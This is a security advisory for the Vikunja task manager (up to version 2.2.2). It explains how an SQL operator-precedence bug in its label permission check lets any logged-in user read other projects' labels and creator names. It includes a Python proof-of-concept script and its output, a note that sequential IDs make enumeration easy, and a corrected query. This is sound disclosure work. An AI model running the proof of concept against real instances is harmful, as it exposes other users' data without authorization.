Skip to content

Broken Access Control on Label Read via SQL Operator Precedence Bug

Moderate
kolaente published GHSA-hj5c-mhh2-g7jq Apr 9, 2026

Package

gomod code.vikunja.io/api (Go)

Affected versions

<= 2.2.2

Patched versions

2.3.0

Description

Summary

The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.

Details

The access control query at pkg/models/label_permissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:

has, err = s.Table("labels").
    Select("label_tasks.*").
    Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
    Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID).
    Or(cond).
    And("labels.id = ?", l.ID).
    Exist(ll)

The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while label_tasks.label_id IS NOT NULL (part of A) remains unconstrained.

Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.

Proof of Concept

Tested on Vikunja v2.2.2.

import requests

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def login(u, p):
    return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token):
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

a_token = login("labeler", "Labeler123!")
b_token = login("snooper", "Snooper123!")

# labeler creates private project, label, task, and assigns label
proj = requests.put(f"{API}/projects", headers=h(a_token),
                    json={"title": "Private Project"}).json()
label = requests.put(f"{API}/labels", headers=h(a_token),
                     json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token),
                    json={"title": "Q4 revenue data"}).json()
requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token),
             json={"label_id": label["id"]})

# snooper reads the label from labeler's private project
r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token))
print(f"GET /labels/{label['id']}: {r.status_code}")  # 200 - should be 403
if r.status_code == 200:
    data = r.json()
    print(f"Title: {data['title']}")  # CONFIDENTIAL-REVENUE
    print(f"Creator: {data['created_by']['username']}")  # labeler

Output:

GET /labels/1: 200
Title: CONFIDENTIAL-REVENUE
Creator: labeler

Label IDs are sequential integers, making enumeration straightforward.

Impact

Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.

Recommended Fix

Use explicit builder.And/builder.Or grouping:

has, err = s.Table("labels").
    Select("label_tasks.*").
    Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
    Where(builder.And(
        builder.Eq{"labels.id": l.ID},
        builder.Or(
            builder.And(builder.Expr("label_tasks.label_id is not null"), cond),
            builder.Eq{"labels.created_by_id": createdByID},
        ),
    )).
    Exist(ll)

Found and reported by aisafe.io

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

CVE ID

CVE-2026-35596

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

Credits